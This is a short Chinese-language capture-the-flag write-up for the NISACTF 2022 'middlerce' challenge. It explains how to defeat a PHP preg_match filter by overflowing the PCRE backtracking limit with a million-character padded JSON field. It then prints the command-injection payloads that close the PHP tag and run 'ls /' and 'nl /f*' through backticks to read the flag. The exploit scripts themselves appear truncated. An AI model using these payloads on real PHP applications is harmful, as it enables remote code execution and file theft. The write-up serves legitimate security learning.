[NISACTF 2022]middlerce
rce正则回溯绕过
题目链接:https://www.nssctf.cn/problem/1897
进入环境,看一下代码:
这里的preg_match过滤了所有ASCII字符
但是if语句是直接判断的,就可以考虑正则回溯绕过
php中为了防止拒绝服务攻击,给 pcre 设定了一个回溯次数上限,一般是100万次,输入字符串长度超过100万
preg_match函数就会返回false,这里就会绕过判断
写个python脚本测试一下
1 | import requests |
回显:
猜测是被checkdata函数过滤了
Fuzz一下
长度198就是被过滤的,很多函数都是用不了的,那只能php标签闭合,反引号执行
1 | `` |
相当于
1 | echo ... |
执行获得flag的位置
1 | payload='{"cmd":"?><?= `ls /`?>","test":"' + "@"*(1000000) + '"}' |
然后
1 | payload='{"cmd":"?><?= `nl /f*`?>","test":"' + "@"*(1000000) + '"}' |
拿到flag
完整exp:
1 | import requests |